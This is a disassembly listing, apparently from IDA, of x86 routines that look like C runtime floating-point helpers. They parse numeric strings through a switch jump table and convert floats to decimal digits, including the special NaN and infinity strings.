sub_4253AE	proc near		; CODE XREF: sub_425973+1C8p
					; sub_425DEE+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4253AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4253DB	proc near		; CODE XREF: sub_4254A2+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42544F
		push	edi
		mov	[ebp+arg_8], eax


loc_425402:				; CODE XREF: sub_4253DB+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_425380
		push	ebx
		call	sub_425380
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425322
		push	ebx
		call	sub_425380
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425322
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425402
		xor	edx, edx
		pop	edi


loc_42544F:				; CODE XREF: sub_4253DB+21j
					; sub_4253DB+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_42547C
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42544F
; ---------------------------------------------------------------------------


loc_42547C:				; CODE XREF: sub_4253DB+77j
		mov	esi, 8000h


loc_425481:				; CODE XREF: sub_4253DB+B9j
		test	[ebx+8], esi
		jnz	short loc_425496
		push	ebx
		call	sub_425380
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_425481
; ---------------------------------------------------------------------------


loc_425496:				; CODE XREF: sub_4253DB+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_4253DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4254A2	proc near		; CODE XREF: sub_424D28+17p
					; sub_424D55+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_4254DD:				; CODE XREF: sub_4254A2+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_4254F3
		cmp	cl, 9
		jz	short loc_4254F3
		cmp	cl, 0Ah
		jz	short loc_4254F3
		cmp	cl, 0Dh
		jnz	short loc_4254F6


loc_4254F3:				; CODE XREF: sub_4254A2+40j
					; sub_4254A2+45j ...
		inc	edi
		jmp	short loc_4254DD
; ---------------------------------------------------------------------------


loc_4254F6:				; CODE XREF: sub_4254A2+4Fj
		push	4
		pop	esi


loc_4254F9:				; CODE XREF: sub_4254A2+AEj
					; sub_4254A2+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_42577C	; default
					; jumptable 00425505 case 10
		jmp	off_425943[eax*4] ; switch jump


loc_42550C:				; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 0
		jl	short loc_42551D
		cmp	bl, 39h
		jg	short loc_42551D


loc_425516:				; CODE XREF: sub_4254A2+C4j
					; sub_4254A2+118j
		push	3
		jmp	loc_42573A
; ---------------------------------------------------------------------------


loc_42551D:				; CODE XREF: sub_4254A2+6Dj
					; sub_4254A2+72j
		cmp	bl, byte_43D088
		jnz	short loc_42552C


loc_425525:				; CODE XREF: sub_4254A2+124j
		push	5
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_42552C:				; CODE XREF: sub_4254A2+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_425552
		dec	eax
		dec	eax
		jz	short loc_425546
		sub	eax, 3
		jnz	loc_425815
		jmp	loc_4255D5
; ---------------------------------------------------------------------------


loc_425546:				; CODE XREF: sub_4254A2+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_4254F9
; ---------------------------------------------------------------------------


loc_425552:				; CODE XREF: sub_4254A2+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_4254F9
; ---------------------------------------------------------------------------


loc_42555B:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 1
		mov	[ebp+var_10], edx
		jl	short loc_425568
		cmp	bl, 39h
		jle	short loc_425516


loc_425568:				; CODE XREF: sub_4254A2+BFj
		cmp	bl, byte_43D088
		jz	loc_425630
		cmp	bl, 2Bh
		jz	short loc_4255AA
		cmp	bl, 2Dh
		jz	short loc_4255AA
		cmp	bl, 30h
		jz	short loc_4255D5


loc_425583:				; CODE XREF: sub_4254A2+207j
		cmp	bl, 43h
		jle	loc_425815
		cmp	bl, 45h
		jle	short loc_4255A3
		cmp	bl, 63h
		jle	loc_425815
		cmp	bl, 65h
		jg	loc_425815


loc_4255A3:				; CODE XREF: sub_4254A2+EDj
		push	6
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_4255AA:				; CODE XREF: sub_4254A2+D5j
					; sub_4254A2+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_4255B2:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 2
		jl	short loc_4255C0
		cmp	bl, 39h
		jle	loc_425516


loc_4255C0:				; CODE XREF: sub_4254A2+113j
		cmp	bl, byte_43D088
		jz	loc_425525
		cmp	bl, 30h
		jnz	loc_42578A


loc_4255D5:				; CODE XREF: sub_4254A2+9Fj
					; sub_4254A2+DFj
		mov	eax, edx
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_4255DC:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_10], edx ; jumptable 00425505 case 3


loc_4255DF:				; CODE XREF: sub_4254A2+184j
		cmp	dword_43D084, edx
		jle	short loc_4255F8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425606
; ---------------------------------------------------------------------------


loc_4255F8:				; CODE XREF: sub_4254A2+143j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425606:				; CODE XREF: sub_4254A2+154j
		test	eax, eax
		jz	short loc_425628
		cmp	[ebp+var_4], 19h
		jnb	short loc_425620
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425623
; ---------------------------------------------------------------------------


loc_425620:				; CODE XREF: sub_4254A2+16Cj
		inc	[ebp+var_8]


loc_425623:				; CODE XREF: sub_4254A2+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4255DF
; ---------------------------------------------------------------------------


loc_425628:				; CODE XREF: sub_4254A2+166j
		cmp	bl, byte_43D088
		jnz	short loc_425697


loc_425630:				; CODE XREF: sub_4254A2+CCj
		mov	eax, esi
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425637:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	[ebp+var_4], 0	; jumptable 00425505 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_425650


loc_425643:				; CODE XREF: sub_4254A2+1ACj
		cmp	bl, 30h
		jnz	short loc_425650
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425643
; ---------------------------------------------------------------------------


loc_425650:				; CODE XREF: sub_4254A2+19Fj
					; sub_4254A2+1A4j ...
		cmp	dword_43D084, edx
		jle	short loc_425669
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425669:				; CODE XREF: sub_4254A2+1B4j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425677:				; CODE XREF: sub_4254A2+1C5j
		test	eax, eax
		jz	short loc_425697
		cmp	[ebp+var_4], 19h
		jnb	short loc_425692
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_425692:				; CODE XREF: sub_4254A2+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425650
; ---------------------------------------------------------------------------


loc_425697:				; CODE XREF: sub_4254A2+18Cj
					; sub_4254A2+1D7j
		cmp	bl, 2Bh
		jz	loc_4255AA
		cmp	bl, 2Dh
		jz	loc_4255AA
		jmp	loc_425583
; ---------------------------------------------------------------------------


loc_4256AE:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	dword_43D084, edx ; jumptable 00425505 case 5
		mov	[ebp+var_24], edx
		jle	short loc_4256CA
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4256D8
; ---------------------------------------------------------------------------


loc_4256CA:				; CODE XREF: sub_4254A2+215j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4256D8:				; CODE XREF: sub_4254A2+226j
		test	eax, eax
		jz	loc_42578A
		mov	eax, esi
		jmp	short loc_42573B
; ---------------------------------------------------------------------------


loc_4256E4:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		lea	ecx, [edi-2]	; jumptable 00425505 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_4256F4
		cmp	bl, 39h
		jle	short loc_425738


loc_4256F4:				; CODE XREF: sub_4254A2+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_425770
		dec	eax
		dec	eax
		jz	short loc_425764
		sub	eax, 3
		jnz	loc_425818


loc_425709:				; CODE XREF: sub_4254A2+2A4j
		push	8
		jmp	short loc_425772
; ---------------------------------------------------------------------------


loc_42570D:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_20], edx ; jumptable 00425505 case 8


loc_425710:				; CODE XREF: sub_4254A2+276j
		cmp	bl, 30h
		jnz	short loc_42571A
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425710
; ---------------------------------------------------------------------------


loc_42571A:				; CODE XREF: sub_4254A2+271j
		cmp	bl, 31h
		jl	loc_425815
		cmp	bl, 39h
		jg	loc_425815
		jmp	short loc_425738
; ---------------------------------------------------------------------------


loc_42572E:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 7
		jl	short loc_425741
		cmp	bl, 39h
		jg	short loc_425741


loc_425738:				; CODE XREF: sub_4254A2+250j
					; sub_4254A2+28Aj
		push	9


loc_42573A:				; CODE XREF: sub_4254A2+76j
		pop	eax


loc_42573B:				; CODE XREF: sub_4254A2+240j
		dec	edi
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425741:				; CODE XREF: sub_4254A2+28Fj
					; sub_4254A2+294j
		cmp	bl, 30h
		jnz	short loc_42578A
		jmp	short loc_425709
; ---------------------------------------------------------------------------


loc_425748:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	[ebp+arg_18], 0	; jumptable 00425505 case 11
		jz	short loc_425778
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_425770
		dec	eax
		dec	eax
		jnz	loc_425818


loc_425764:				; CODE XREF: sub_4254A2+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425770:				; CODE XREF: sub_4254A2+258j
					; sub_4254A2+2B8j
		push	7


loc_425772:				; CODE XREF: sub_4254A2+85j
					; sub_4254A2+103j ...
		pop	eax
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425778:				; CODE XREF: sub_4254A2+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_42577C:				; CODE XREF: sub_4254A2+5Dj
					; sub_4254A2+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425505 case 10
		jz	loc_42581A
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_42578A:				; CODE XREF: sub_4254A2+12Dj
					; sub_4254A2+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_42581A
; ---------------------------------------------------------------------------


loc_425792:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_20], 1	; jumptable 00425505 case 9
		xor	esi, esi


loc_42579B:				; CODE XREF: sub_4254A2+339j
		cmp	dword_43D084, 1
		jle	short loc_4257B3
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4257C2
; ---------------------------------------------------------------------------


loc_4257B3:				; CODE XREF: sub_4254A2+300j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4257C2:				; CODE XREF: sub_4254A2+30Fj
		test	eax, eax
		jz	short loc_4257E2
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_4257DD
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42579B
; ---------------------------------------------------------------------------


loc_4257DD:				; CODE XREF: sub_4254A2+334j
		mov	esi, 1451h


loc_4257E2:				; CODE XREF: sub_4254A2+322j
		mov	[ebp+var_1C], esi


loc_4257E5:				; CODE XREF: sub_4254A2+371j
		cmp	dword_43D084, 1
		jle	short loc_4257FD
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_42580C
; ---------------------------------------------------------------------------


loc_4257FD:				; CODE XREF: sub_4254A2+34Aj
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42580C:				; CODE XREF: sub_4254A2+359j
		test	eax, eax
		jz	short loc_425815
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4257E5
; ---------------------------------------------------------------------------


loc_425815:				; CODE XREF: sub_4254A2+99j
					; sub_4254A2+E4j ...
		dec	edi
		jmp	short loc_42581A
; ---------------------------------------------------------------------------


loc_425818:				; CODE XREF: sub_4254A2+261j
					; sub_4254A2+2BCj
		mov	edi, ecx


loc_42581A:				; CODE XREF: sub_4254A2+2DDj
					; sub_4254A2+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425902
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425846
		cmp	[ebp+var_45], 5
		jl	short loc_42583A
		inc	[ebp+var_45]


loc_42583A:				; CODE XREF: sub_4254A2+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425849
; ---------------------------------------------------------------------------


loc_425846:				; CODE XREF: sub_4254A2+38Dj
		mov	eax, [ebp+var_C]


loc_425849:				; CODE XREF: sub_4254A2+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_4258F8


loc_425853:				; CODE XREF: sub_4254A2+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_425861
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_425853
; ---------------------------------------------------------------------------


loc_425861:				; CODE XREF: sub_4254A2+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_4253DB
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_425880
		neg	eax


loc_425880:				; CODE XREF: sub_4254A2+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_42588B
		add	eax, [ebp+arg_10]


loc_42588B:				; CODE XREF: sub_4254A2+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_425893
		sub	eax, [ebp+arg_14]


loc_425893:				; CODE XREF: sub_4254A2+3ECj
		cmp	eax, 1450h
		jle	short loc_4258CA
		mov	[ebp+var_2C], 1


loc_4258A1:				; CODE XREF: sub_4254A2+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4258AD:				; CODE XREF: sub_4254A2+454j
					; sub_4254A2+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425913
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425928
; ---------------------------------------------------------------------------


loc_4258CA:				; CODE XREF: sub_4254A2+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_4258DA
		mov	[ebp+var_30], 1
		jmp	short loc_4258A1
; ---------------------------------------------------------------------------


loc_4258DA:				; CODE XREF: sub_4254A2+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_42600E
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4258AD
; ---------------------------------------------------------------------------


loc_4258F8:				; CODE XREF: sub_4254A2+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4258AD
; ---------------------------------------------------------------------------


loc_425902:				; CODE XREF: sub_4254A2+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425928
; ---------------------------------------------------------------------------


loc_425913:				; CODE XREF: sub_4254A2+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425928
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425928:				; CODE XREF: sub_4254A2+426j
					; sub_4254A2+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4254A2	endp

; ---------------------------------------------------------------------------
off_425943	dd offset loc_42550C	; DATA XREF: sub_4254A2+63r
		dd offset loc_42555B	; jump table for switch	statement
		dd offset loc_4255B2
		dd offset loc_4255DC
		dd offset loc_425637
		dd offset loc_4256AE
		dd offset loc_4256E4
		dd offset loc_42572E
		dd offset loc_42570D
		dd offset loc_425792
		dd offset loc_42577C
		dd offset loc_425748

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425973	proc near		; CODE XREF: sub_424DF9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_4259D5
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_4259D9
; ---------------------------------------------------------------------------


loc_4259D5:				; CODE XREF: sub_425973+5Aj
		mov	byte ptr [ebx+2], 20h


loc_4259D9:				; CODE XREF: sub_425973+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_4259FF
		test	edi, edi
		jnz	short loc_4259FF
		cmp	[ebp+arg_0], edi
		jnz	short loc_4259FF


loc_4259EA:				; CODE XREF: sub_425973+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_425BFD
; ---------------------------------------------------------------------------


loc_4259FF:				; CODE XREF: sub_425973+6Cj
					; sub_425973+70j ...
		cmp	dx, si
		jnz	short loc_425A7E
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425A18
		cmp	[ebp+arg_0], 0
		jz	short loc_425A27


loc_425A18:				; CODE XREF: sub_425973+9Dj
		test	edi, 40000000h
		jnz	short loc_425A27
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_425A6D
; ---------------------------------------------------------------------------


loc_425A27:				; CODE XREF: sub_425973+A3j
					; sub_425973+ABj
		test	cx, cx
		jz	short loc_425A41
		cmp	edi, 0C0000000h
		jnz	short loc_425A41
		cmp	[ebp+arg_0], 0
		jnz	short loc_425A68
		push	offset a1Ind	; "1#IND"
		jmp	short loc_425A50
; ---------------------------------------------------------------------------


loc_425A41:				; CODE XREF: sub_425973+B7j
					; sub_425973+BFj
		cmp	edi, eax
		jnz	short loc_425A68
		cmp	[ebp+arg_0], 0
		jnz	short loc_425A68
		push	offset a1Inf	; "1#INF"


loc_425A50:				; CODE XREF: sub_425973+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C890
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_425A5F:				; CODE XREF: sub_425973+109j
		and	[ebp+var_4], 0
		jmp	loc_425BD6
; ---------------------------------------------------------------------------


loc_425A68:				; CODE XREF: sub_425973+C5j
					; sub_425973+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_425A6D:				; CODE XREF: sub_425973+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C890
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_425A5F
; ---------------------------------------------------------------------------


loc_425A7E:				; CODE XREF: sub_425973+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42600E
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_425ADF
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DEE
		pop	ecx
		pop	ecx


loc_425ADF:				; CODE XREF: sub_425973+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425AF9
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_425AFC
		jmp	loc_4259EA
; ---------------------------------------------------------------------------


loc_425AF9:				; CODE XREF: sub_425973+173j
		mov	edi, [ebp+arg_C]


loc_425AFC:				; CODE XREF: sub_425973+17Fj
		cmp	edi, 15h
		jle	short loc_425B04
		push	15h
		pop	edi


loc_425B04:				; CODE XREF: sub_425973+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425B1A:				; CODE XREF: sub_425973+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425B1A
		test	esi, esi
		jge	short loc_425B44
		neg	esi
		and	esi, 0FFh
		jle	short loc_425B44


loc_425B37:				; CODE XREF: sub_425973+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4253AE
		dec	esi
		pop	ecx
		jnz	short loc_425B37


loc_425B44:				; CODE XREF: sub_425973+1B8j
					; sub_425973+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_425BA1
		mov	[ebp+arg_C], ecx


loc_425B54:				; CODE XREF: sub_425973+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_425380
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425322
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_425B54
		mov	eax, [ebp+arg_14]


loc_425BA1:				; CODE XREF: sub_425973+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_425BDE


loc_425BAE:				; CODE XREF: sub_425973+248j
		cmp	eax, ecx
		jb	short loc_425BC1
		cmp	byte ptr [eax],	39h
		jnz	short loc_425BBD
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_425BAE
; ---------------------------------------------------------------------------


loc_425BBD:				; CODE XREF: sub_425973+242j
		cmp	eax, ecx
		jnb	short loc_425BC5


loc_425BC1:				; CODE XREF: sub_425973+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425BC5:				; CODE XREF: sub_425973+24Cj
		inc	byte ptr [eax]


loc_425BC7:				; CODE XREF: sub_425973+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425BD6:				; CODE XREF: sub_425973+F0j
		mov	eax, [ebp+var_4]


loc_425BD9:				; CODE XREF: sub_425973+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


